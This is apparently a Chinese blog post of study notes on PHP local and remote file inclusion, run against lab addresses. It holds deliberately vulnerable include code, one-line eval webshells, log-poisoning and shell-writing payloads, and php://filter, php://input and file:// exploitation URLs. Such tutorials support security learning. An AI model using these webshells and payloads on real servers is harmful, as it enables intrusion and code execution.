文件包含漏洞

//include包含
<?php
echo '<meta http-equiv="Content-Type" content="text/html; charset=utf8"/>';
include "$_GET[page]";
?>


//放在网站目录下,直接可以访问网站下文件(文件名2.php)
//访问时:http://127.0.0.1/2.php?page=1.txt  (1.txt是放在网站的目录)相当于<?php  include '1.txt';?> include包括文件
 
<?php
$a = "$_GET[page]";//获得GET中的值  双引号解析变量 单引号原子符输出 $a = $_GET['page'];
echo $a;
?>
//http://127.0.0.1/4.php?page=55将55传入文件中并赋值给变量a

本地文件包含(Loacl File Inclusion,LFI):

通过浏览器引进(包含)web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格 的过滤允许遍历目录的字符注入浏览器并执行。

远程文件包含(Remote File Inclusion,RFI):

该漏洞允许攻击者包含一个远程的文件,一般是在远程服务器上预先设置好的脚本。 此漏洞是因为浏览器对用户的输入没有进行检查,导致不同程度的信息泄露、拒绝服务攻击 甚至在目标服务器上执行代码。

利用文件包含漏洞必须包括main.php中代码
<?php
$a = "$_GET[page]";
include $a;
?>

1.图片一句话木马
先用命令或工具把一句话木马加载到图片中

上传图片

利用菜刀连

http://10.1.2.5:17857/cs/main.php?page=/uploads/14563.jpg

2.日志一句话木马

利用错误日志

将一句话木马写入错误日志中

http://127.0.0.1/<?php @eval($_POST["value"])>
利用bp抓包

在bp中自动编码所以要改成

在日志文件中显示

利用菜刀连接

http://10.1.2.5:17857/cs/main.php?page=错误日志路径        (在连接错误日志的时候可能连接不上,可能是错误日志文件过多,需要清理)

3.利用远程访问

//在test.php中
<?php
fputs(fopen('shell.php','w'),'<?php @eval($_GET[1478963]); ?>');//利用//文件包含漏洞运行test.php文件会在文件目录创建shell.php
?>

http://10.1.2.5:17857/cs/main.php?page=test.php(test.php路径所在地)

4.PHP封装协议读取文件

http://10.1.2.5:17857/cs/main.php?page=php://filter/read=convert.base64-encode/resource=main.php  获取源代码

返回到网页中:PD9waHAKZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmOCIgLz4nOwppbmNsdWRlICIkX0dFVFtwYWdlXSI7Cj8+

再利用Base64解码

<?php
echo '<meta http-equiv="Content-Type" content="text/html; charset=utf8" />';
include "$_GET[page]";
?>

5.PHP封装协议执行命令

 http://10.1.2.5:17857/cs/main.php?page=php://input

进行执行PHP代码

6.file协议  需要服务器的绝对路径

http://10.1.2.5:17857/cs/main.php?page=file://c:/flag.txt

猜你喜欢

转载自www.cnblogs.com/z0205/p/8926588.html
今日推荐